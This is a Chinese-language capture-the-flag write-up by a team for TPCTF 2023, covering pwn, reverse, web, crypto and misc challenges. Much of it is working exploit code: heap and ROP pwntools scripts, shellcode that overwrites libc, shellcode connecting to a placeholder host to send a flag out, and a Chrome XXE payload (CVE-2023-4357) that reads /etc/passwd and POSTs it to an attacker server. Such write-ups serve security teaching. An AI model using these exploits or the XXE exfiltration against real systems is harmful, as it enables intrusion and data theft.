本次 TPCTF 2023,我们星盟ctf战队排名第6。
PWN
tpgc
Fuzz 出的 PoC 直接可以劫持程序流,根据 PoC 利用 printf.got 泄漏出 libc 地址。由于 PoC 需要间接跳转到我们写入的地址。但是我们只能写堆地址,故爆破堆地址。最终劫持程序流到 one_gadget,成功率1/4096。
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('61.147.171.105', 64575)
def take(content):
sh.sendlineafter(b'> ', b'1')
sh.sendlineafter(b'here:n', content)
def drop():
sh.sendlineafter(b'> ', b'2')
def take2(content):
sh.sendlineafter(b'> ', b'3')
sh.sendlineafter(b'here:n', content)
def drop2():
sh.sendlineafter(b'> ', b'4')
def fuse(content):
sh.sendlineafter(b'> ', b'5')
sh.sendlineafter(b'here:n', content)
def drop3():
sh.sendlineafter(b'> ', b'6')
take2(b'a' * 2000)
take(p64(0x41D028)[:7])
fuse(b'5')
drop3()
drop2()
libc_addr = u64(sh.recvn(6) + b'00') - 0x64e10
success('libc_addr: ' + hex(libc_addr))
take(p64(0x50a000 + 0x2b6c8)[:7])
take2(p64(libc_addr + 0xe6aee))
fuse(b'5')
drop3()
drop2()
sh.interactive()
core
文件目录有修改权限。
rm -f /bin/umount
echo "cat /root/flag" > /bin/umount
chmod 755 /bin/umount
exit
core revenge
文件 /lib64/libc.so.6 有修改权限。
unsigned char shellcode[] = {
0x48, 0x8d, 0x3d, 0x0b, 0x00, 0x00, 0x00, 0x31, 0xf6, 0x31, 0xd2, 0xb8,
0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d, 0x70, 0x2f, 0x65,
0x78, 0x70, 0x00
};
int main(int argc, char *argv[])
{
int fd, result;
char buf[0x100];
setbuf(stdout, NULL);
if(argc == 2)
{
puts("Stage One");
fd = open("/lib64/libc.so.6", O_RDWR);
if(fd < 0)
{
perror("open");
exit(EXIT_FAILURE);
}
result = lseek(fd, 0x219D0, SEEK_SET);
if(result < 0)
{
perror("lseek");
exit(EXIT_FAILURE);
}
result = write(fd, shellcode, sizeof(shellcode));
if(result < 0)
{
perror("write");
exit(EXIT_FAILURE);
}
close(fd);
}
else
{
puts("Stage Two");
fd = open("/root/flag", O_RDONLY);
if(fd < 0)
{
perror("open");
exit(EXIT_FAILURE);
}
result = read(fd, buf, sizeof(buf));
if(result < 0)
{
perror("read");
exit(EXIT_FAILURE);
}
write(STDOUT_FILENO, buf, result);
}
return 0;
}
mte notebook
程序没有去符号表,根据其内部所包含的字符串可以确定是使用glibc-2.38进行静态编译的。
程序主要的两个结构题如下:
00000000 note struc ; (sizeof=0x80, mappedto_34)
00000000 field_0 DCQ ?
00000008 title DCB 16 dup(?)
00000018 page DCQ ? ; offset
00000020 description DCB 96 dup(?)
00000080 note ends
00000000 page struc ; (sizeof=0x70, mappedto_33)
00000000 current DCQ ?
00000008 next DCQ ? ; offset
00000010 contents DCB 64 dup(?)
00000050 field_50 DCQ ?
00000058 field_58 DCQ ?
00000060 field_60 DCQ ?
00000068 field_68 DCQ ?
00000070 page ends
程序本身存在 Heap Overflow 和 UAF 漏洞,由于开启了 MTE ,直接使用 Heap Overflow 和 UAF 漏洞会报错。
通过大量调试可知修改 Heap 大概率会触发 MTE 异常,即使使用Chunk Overlap利用方式也会触发 MTE 异常。
程序本身还有一个未初始化漏洞,该漏洞可以让我们将next指针指向一个非堆地址,这种情况下则不会触发 MTE 异常。
void __noreturn notebook()
{
...
case 5uLL:
v5 = (page *)malloc(0x70LL); // uninitilized
if ( page )
{
page->next = v5;
v5->current = page->current + 1;
}
else
{
v6[index_4]->page = v5;
v5->current = 0LL;
}
page = v5;
break;
...
}
因此我们可以先利用程序的
Drop Notebook填满 tcache (size:0x90),然后继续 Drop Notebook将 Notebook放入unsorted bin 中,当我们申请page的时候(Add Page功能),unsorted bin中的chunk将会被放入smallbin后取出,此时该chunk会残留 main_arena 信息,也就是page的next指针将会残留 main_arena 信息,故此可以控制 main_arena 。
随后提前在 main_arena 布置 next 指针,再走一遍 Drop Notebook 和 Add Page功能,之后就能控制next指针,从而实现任意地址写。
由于程序一开头已经给了栈地址,并且程序基地址固定,因此直接劫持栈进行ROP,最终调用
SYS_execve(“/bin/sh”, [“/bin/sh”, NULL], NULL) 获取 shell 。
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
qemu = True
sh = remote("202.112.238.82",10000)
import hashlib
import string
sh.recvuntil(b'sha256(XXXX+')
content = sh.recvuntil(b') == ', drop=True)
hash = sh.recvuntil(b'n', drop=True).decode()
def get_XXXX(hash_expected):
table = string.digits + string.ascii_letters
for XXXX_0 in table:
for XXXX_1 in table:
for XXXX_2 in table:
for XXXX_3 in table:
XXXX_tmp = XXXX_0 + XXXX_1 + XXXX_2 + XXXX_3
XXXX_tmp = XXXX_tmp.encode()
if hashlib.sha256(XXXX_tmp + content).hexdigest() == hash_expected:
return XXXX_tmp
XXXX = get_XXXX(hash)
sh.recvuntil(b'Give me XXXX: ')
sh.sendline(XXXX)
def sendlineafter(delim, data):
sh.recvuntil(b'> ')
sh.sendline(data)
if qemu:
sh.recvuntil(data)
def edit_page(values):
sh.recvuntil(b'7. Exit')
sh.recvuntil(b'> ')
sh.sendline(b'3')
if qemu:
sh.recvuntil(b'3')
sh.recvuntil(b'longs (in hex)')
for v in values:
sh.recvuntil(b'> ')
sh.sendline(hex(v).encode())
def next_page():
sh.recvuntil(b'7. Exit')
sh.recvuntil(b'> ')
sh.sendline(b'4')
if qemu:
sh.recvuntil(b'4')
def add_page():
sh.recvuntil(b'7. Exit')
sh.recvuntil(b'> ')
sh.sendline(b'5')
if qemu:
sh.recvuntil(b'5')
def drop_notebook():
sh.recvuntil(b'7. Exit')
sh.recvuntil(b'> ')
sh.sendline(b'6')
if qemu:
sh.recvuntil(b'6')
sh.recvuntil(b'Are you sure?')
sh.recvuntil(b'> ')
sh.sendline(b'1')
if qemu:
sh.recvuntil(b'1')
def choose_notebook(index):
sh.recvuntil(b'7. Exit')
sh.recvuntil(b'> ')
sh.sendline(b'1')
if qemu:
sh.recvuntil(b'1')
sh.recvuntil(b'> ')
sh.sendline(str(index).encode())
if qemu:
sh.recvuntil(str(index).encode())
sh.recvuntil(b"I've put flag1 in ")
flag1 = int(sh.recvuntil(b',', drop=True), 16)
success('flag1: ' + hex(flag1))
sendlineafter(b'> ', b'2')
for i in range(8):
choose_notebook(i)
drop_notebook()
choose_notebook(9)
add_page()
next_page()
next_page()
next_page()
next_page()
next_page()
next_page()
next_page()
next_page()
edit_page([0x61, flag1-0x90, 0])
choose_notebook(8)
drop_notebook()
choose_notebook(9)
add_page()
next_page()
next_page()
next_page()
next_page()
next_page()
next_page()
next_page()
next_page()
edit_page([0x61, 0x00000000004521b8, 1, flag1-0x80+0x10, 3, 0x42629c, flag1+0x1d0, 6, flag1] + [i + 1 for i in range(0xb)] + [0x400260] + [i + 1 for i in range(0xa)] + [0x45d028, 221] + [i + 1 for i in range(0x1c)] + [0x41a628, 1, 0x00000000004521b8, 0x413c64, 1, 2, 3, 4, 0x413c64, flag1+0x1c8] + [0x68732f6e69622f, flag1+0x1c8, 0])
sh.interactive()
safehttpd
漏洞点比较多的一道题目
1.root 账号申请的堆块的密码是由 srand 生成的,且 time(0) 可以被预测
srand(seed);
for ( i = 0; i <= 12; ++i )
{
do
{
do
v1 = rand();
while ( v1 <= 32 );
}
while ( v1 == 127 );
v5[i] = v1;
}
v5[13] = 0;
这就给了我们预测 root 账号密码的机会
int main(){
unsigned int seed = time(0LL);
char v1 = 0;
char v5[0x10];
srand(seed);
for (int i = 0; i <= 12; ++i )
{
do
{
do
v1 = rand();
while ( v1 <= 32 );
}
while ( v1 == 127 );
v5[i] = v1;
}
v5[13] = 0;
write(1, v5, sizeof(v5));
}
将上面代码编译后,在 exp 中如下调用
就可以预测出 root 账号密码了
def init(fd):
pl = 'GET /initnStdout: ' + str(fd) + 'n'
sl(pl)
rand = process('get_rand')
value = rand.recv(13)
rand.close()
return value
2.sprintf 函数拼接导致栈溢出
当我们预测出 root 账号时候,是可以申请一个 0x4f8 大小的堆块,并且可以控制堆块数据的
unsigned __int64 __fastcall sub_18E9(int a1, const char *a2)
{
size_t v2; // rax
size_t v3; // rax
size_t v4; // rax
size_t v5; // rax
char s[1032]; // [rsp+10h] [rbp-410h] BYREF
unsigned __int64 v8; // [rsp+418h] [rbp-8h]
v8 = __readfsqword(0x28u);
sprintf(s, "HTTP/1.0 400 BAD REQUESTrn");
v2 = strlen(s);
write(a1, s, v2);
sprintf(s, "Content-type: text/htmlrn");
v3 = strlen(s);
write(a1, s, v3);
sprintf(s, "rn");
v4 = strlen(s);
write(a1, s, v4);
sprintf(s, "%srn", a2); // 截断
v5 = strlen(s);
write(a1, s, v5);
return v8 - __readfsqword(0x28u);
}
可以发现 a2 会被拼接到 1032 的空间,那么就会导致栈溢出
3.register 功能正常注册堆块的 uid 权限伪造
如果我们把用户名写成
a:b:0
之后使用 show 和 edit 功能就可以有权限使用
栈溢出是无法泄露出 canary 的
这里的漏洞点是一个 cve
https://sourceware.org/bugzilla/show_bug.cgi?id=30068
*((_QWORD *)head_chunk + 6) = malloc(len);
memset(*((void **)head_chunk + 6), 0, len);
*((_DWORD *)head_chunk + 0xE) = len;
sprintf((char *)head_chunk + 0x10, "%-8s:%-13s:%-'8d", v9, pawd, uid);
这样的话,在 register 功能中,就可以利用这个 cve 溢出 x00 到 0x40 堆块上的 下级堆块指针
这里还需要注意 fd ,每次 http 请求时候,fd 被使用过就会被 close,使用需要在每次发送 http 请求时候都重置一次 fd
exp
from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'xf7')[-4:].ljust(4,b'x00'))
l64 = lambda :u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
p = remote('122.9.149.82', 9999)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
def init(fd):
pl = 'GET /initnStdout: ' + str(fd) + 'n'
sl(pl)
rand = process('get_rand')
value = rand.recv(13)
rand.close()
return value
def setlocal(data, fd):
pl = 'GET /setlocale?' + data + 'nStdout: ' + str(fd) + 'n'
sl(pl)
def reg(name, pawd, uid, size, fd):
pl = 'GET /register?' + 'username=' + name + '&password=' + pawd + '&uid=' + str(uid) + '&len=' + str(size) + 'nStdout: ' + str(fd) + 'n'
sl(pl)
def test(data):
pl = 'GET /test' + data + 'n'
sl(pl)
def logoff(name, pawd, fd):
pl = 'GET /logoff?' + 'username=' + name + '&password=' + pawd + 'nStdout: ' + str(fd) + 'n'
sl(pl)
def show(name, pawd, fd):
pl = 'GET /show?' + 'username=' + name + '&password=' + pawd + 'nStdout: ' + str(fd) + 'n'
sl(pl)
def edit(name, pawd, size, data, fd):
pl = b'POST /note?' + b'username=' + name + b'&password=' + pawd + b'nContent-Length: ' + str(size).encode() + b'nStdout: ' + str(fd).encode() + b'n'
sl(pl)
sleep(1)
s(data)
def exit_():
pl = 'GET /poweroffn'
sl(pl)
pas1 = init(3)
logoff('root', pas1.decode(), 3)
pas1 = init(3)
show('root', pas1.decode(), 1)
libc_base = l64() - 0x1f6ce0
reg('b', 'b', 0x3e8, 0x50, 3)
reg('c', 'b', 0x3e8, 0x50, 3)
logoff('c', 'b', 3)
setlocal('=' + 'en_US.UTF-8', 3)
reg('a:b:0', '0', 0x3e8, 0x10, 3)
reg('c:c:0', '0', 0x3e8, 0x400, 3)
environ = libc_base + libc.sym['environ']
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
system, binsh = get_sb()
_IO_wfile_jumps = libc_base + 0x1f3240
pl = p64(0)*2 + b'a:b:0'.ljust(0x20, b'x00') + p64(environ) #+ p64(0x400)
edit(b'c', b'c', len(pl), pl, 3)
show('a', 'b', 2)
stack = l64()
pl = b'x00'*0x80 + b'a:b:0'.ljust(0x20, b'x00') + p64(stack - 0xca0) + p64(0x400)
edit(b'c', b'c', len(pl), pl, 3)
rdi = libc_base + 0x240e5
rsi = libc_base + 0x2573e
rdx = libc_base + 0x26302
rax = libc_base + 0x40123
ret = libc_base + 0x23159
mprotect = libc_base + libc.sym['mprotect']
pl = p64(rdi) + p64((stack >> 16) << 16) + p64(rsi) + p64(0x10000) + p64(rdx) + p64(0x7)
pl += p64(mprotect) + p64(stack - 0xca0 + 0x40)
pl += asm(shellcraft.connect('xx.xx.xx.xx.xx', xx) + shellcraft.open('/flag') + shellcraft.read(2, stack + 0x1000, 0x100) + shellcraft.write(1, stack + 0x1000, 0x100))
edit(b'a', b'b', len(pl), pl, 3)
lg('stack', stack)
lg('stdout', stdout)
lg('libc_base', libc_base)
inter()
pause()
pause()
RE
maze
设置libc.so的断点 不断地调试
发现逻辑就是输入的每个字符与固定的值xor
然后与结果对比
关键函数在4maze_3c29sdmU中
在两个关键点设置断点
会发现每次传入一个数据
并且与已知数据进行异或 然后与一个固定值进行对比
不断调试
再根据pyobject结构体数据特点
取出相关的值 xor一下就可以
cin = "Tbcdefghijklmnopqrstuvwxyz0123456"
secert=[25, 23, 4, 5, 47, 63, 7, 60, 11, 16, 49, 49, 25, 37, 9, 39, 4, 112, 38, 25, 7, 15, 11, 61, 2, 14, 3, 36, 40, 26, 102, 62]
xor_data=[73,84,80,67,84,70,72,73,84,80,67,84,70,72,73,84,80,67,84,70,72,73,84,80,67,84,70,72,73,84,80,67]
print("T")
for i in range(32):
print(chr(secert[i]^xor_data[i]),end='')
print(len(xor_data))
funky
程序会把输入的数据转化为二进制的形式
每一个比特用一个int类型数据表示
0x80000000代表 0 0x000000000代表1
编写ida python脚本提取数据
程序大概有三个函数进行加密
一些函数表面上全都等于零
实际上实现了xor的操作(或者加法操作)
不断动调分析逻辑和加密代码
分别写出三个加密函数的逆向解密代码
#
#7e10
"""
stack 0xde10,
stack 0xc8a1,
stack 0xe5c3,
stack 0xbf07,
stack 0xa8f,
stack 0x151e,
stack 0x2a3c,
stack 0x5478,
stack 0xa8f0,
stack 0x2561,
stack 0x4ac2,
stack 0x9584,
stack 0x5f89,
stack 0xbf12,
stack 0xaa5,
stack 0x154a,
"""
def enc3(data):
tmp = 0x6f08
out = 0
double = 0x7481
a1= 0
v8 = "0"
for i in bin(data)[2:].rjust(16,'0')[::-1]:
v21= 0
flag = i
if(flag=="1"):
v21 = tmp
v29=v21
out = a1 ^ v29
a1 = out
v29 = 0
flag = v8
if(flag=="1"):
v29 = double
v21 = (tmp*2) &0xffff
out = v21 ^ v29
tmp = out
v8 = bin(tmp)[2:].rjust(16,'0')[0]
return a1^0x5edd
enc = [ 0xBE, 0x13, 0x05, 0xF3, 0x10, 0x61, 0xDA, 0x69, 0x39, 0x7B, 0x8B, 0x4A, 0x89, 0xB4, 0x64, 0xB5,0x32, 0xAE, 0x15, 0x84, 0xC1, 0x85, 0x45, 0xD9, 0xA9, 0x1D, 0xB6, 0x7C, 0xF6, 0x93, 0x88, 0xF6]
import struct
word_datas = struct.unpack('<16H', bytes(enc)) # 输出转换后的 Word 类型数据
# arr2 = []
# arr2.append(j)
arr2=[28748, 9316, 25108, 36707, 36516, 45275, 2160, 1639, 38774, 25963, 5323, 26887, 32085, 28749, 31722, 48268]
print(hex(arr2[0]))
data = [ j for j in b"".join([struct.pack("<H",i) for i in arr2])]
table = [ 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01,
0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D,
0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4,
0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC,
0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7,
0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2,
0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E,
0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB,
0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB,
0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C,
0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5,
0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C,
0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D,
0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A,
0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3,
0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D,
0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A,
0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6,
0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E,
0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9,
0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9,
0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99,
0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16, ]
cin = [0x96,0x94,0xde,0xca,0x2e,0x79,0x4b,0xb8,0x90,0xf4,0x4,0x7f,0x2f,0x4c,0x5e,0xc,0xcb,0xa,0x25,0xa6,0x67,0x91,0x60,0x30,0x2d,0x92,0xcc,0xc5,0xdb,0xa2,0xf6,0x42]
cin = data
def lol(x):
return ((x<<7) | (x>>1)) &0xff
for base in [8,16,24,0][::-1]:
for j in range(32):
for i in range(7,-1,-1):
cin[base+((i+1) % 8)] = lol(cin[base+((i+1) % 8)])
sum = (cin[base+i-8]+ cin[base+i]) &0xff
cin[base+((i+1) % 8)] = (cin[base+((i+1) % 8)] - table[sum])& 0xff
print(cin)
from string import printable
print(printable)
cin1 = [ord(i) for i in "abcdefghijklmnopqrstuvwxyz012345"]
out1 = [0x4f,0x13,0x27,0xab,0x9f,0xc3,0xf7,0xb8,0x8c,0xd0,0xe4,0x68,0x5c,0x0,0x34,0x9e,0xaa,0xf6,0xc2,0x4e,0x7a,0x26,0x12,0x5d,0x69,0x35,0xaf,0x9b,0xc7,0xf3,0x7f,0x4b]
cin2 = [ord(i) for i in "6789ABCDEFGHIJKLMNOPQRSTUVWXYZ!_"]
out2 =[0x17,0x23,0x6c,0x58,0xe6,0xba,0x8e,0x2,0x36,0x6a,0x5e,0x11,0x25,0x79,0x4d,0xc1,0xf5,0xa9,0x9d,0x37,0x3,0x5f,0x6b,0xe7,0xd3,0x8f,0xbb,0xf4,0xc0,0x9c,0x7e,0x78,]
cin3 = [ord(i) for i in "1!#$%&'()*+,-./:;<=>?@[]^_`{|}~"]
out3= [0x9b,0x7e,0x16,0x9a,0xae,0xf2,0xc6,0x89,0xbd,0xe1,0xd5,0x59,0x6d,0x31,0x5,0x4,0x30,0xbc,0x88,0xd4,0xe0,0xd2,0xa8,0x24,0x10,0x4c,0x78,0x7b,0x1,0x8d,0xb9,0xe5,]
dic = {}
for i,j in zip(cin1,out1):
dic[j] = i
for i,j in zip(cin2,out2):
dic[j] = i
for i in cin:
print(chr(dic[i]),end='')
WEB
xss-bot
连接nc
filename提示时输入
poc.svg
然后input提示时输出
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY passwd_p "file:///etc/passwd">
<!ENTITY passwd_c SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<p class="&passwd_p;">&passwd_c;</p>
</div>
<script>
document.querySelectorAll('p').forEach(p => {
var url = 'http://你的服务器ip';
var formData = 'filename=' + p.className + '&result=' + btoa(p.innerHTML);
var xhr = new XMLHttpRequest();
xhr.open('POST', url, true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(formData);
});
</script>
</body>
</xsl:template>
</xsl:stylesheet>
这是利用chorm92版本在sandbox模式下
对文件权限过滤不严,产生的xxe漏洞。
原理是CVE-2023-4357-Chrome-XXE
xss-boot-but-no-internet
连接nc
filename提示时输入
poc.svg
然后input提示时输出
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY passwd_p "file:///flag">
<!ENTITY passwd_c SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<p id="res" class="&passwd_p;">&passwd_c;</p>
</div>
<script>
function compare(){
let result = document.getElementById('res').innerText;
let compareStr = "TPCTF{ea5y5C4}";
if(result.substring(0, compareStr.length) === compareStr){
sleep();
}
}
function sleep(){
let n = 0;
while (true){
n++;
}
}
function getIndex(char) {
var list = "klmnopqrstuvwxyzabcdefghij_1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ";
return list.indexOf(char);
}
</script>
<iframe onload="compare()" src="http://127.0.0.1"></iframe>
<iframe onload="" src="http://127.0.0.1"></iframe>
</body>
</xsl:template>
</xsl:stylesheet>
跟xss-bot类似,但是反馈不能直接出网,只能借助报错,按照有无报错以二分法传出数据。
# Stage 2
try:
options.add_argument("--no-sandbox")
...
driver.set_page_load_timeout(15)
driver.get("http://localhost:"+port_id+"/"+file_name)
...
except Exception as e:
print("ERROR", type(e))
print("I'll not give you exception message this time.")
原理是CVE-2023-4357-Chrome-XXE
Crypto
sort (teaser)
利用报错实现类侧信道攻击,逐位爆破出flag。
from pwn import *
import libnum, string
# 测长度
LEN = 0
flag = 'TPCTF{'
table = string.printable[:-6]
for i in range(26):
try:
sh = remote('202.112.238.82', 13371)
sh.sendlineafter(b'Enter your function A:', f'C=A>>{i*8}'.encode())
sh.sendline(f'B=C!={libnum.s2n(flag)}'.encode())
sh.sendline(b'EOF')
sh.recvline_contains(b'You did not sort correctly')
except:
LEN = i
print(f"{LEN=}")
break
# 逐位爆破flag
for i in range(1, LEN+1):
for char in table:
sh = remote('202.112.238.82', 13371)
try:
sh.sendlineafter(b'Enter your function A:', f'C=A>>{(LEN-i) * 8}'.encode())
sh.sendline(f'B=C!={libnum.s2n(flag+char)}'.encode())
sh.sendline(b'EOF')
sh.recvline_contains(b'You did not sort correctly')
except:
flag += char
print(f"{flag=}") # TPCTF{A_strAnge_s1de_channel}
break
MISC
小 T 的日常
SIGNIN: Ingress
搜了一下说是 rot13 后的链接
根据题目说要在 protal 附近,改一下定位:
safebox
因为最终的解实际上只和文件路径有关,所有相同文件明创建后的差是一样的,虽然不能读,但是创建一个一样的文件之后能读出一样的编译,已知明文的话就能拿到插值了。
int main()
{
unsigned char test[] = { 95,239,75,157,61,65,98,121,92,104,215,6,10,170,55,62,118,173,100,33,95,99,20,115,17,192,112,224,193,202,45,135,95,239,75,157,61,65,98,121,92,104 };
unsigned char kk[] = { 82,222,45,144,34,91,49,101,98,102,220,198,245,124,53,37,100,152,54,228,93,58,5,66,251,164,110,242,160,207,49,94,77,230,103 };
for (int i = 0; i < 42; i++)
{
test[i] -= 'a';
}
for (int i = 0; i < 35; i++)
{
kk[i] -= test[i];
}
}
原文始发于微信公众号(星盟安全):国际赛TPCTF 2023 Writeup –Polaris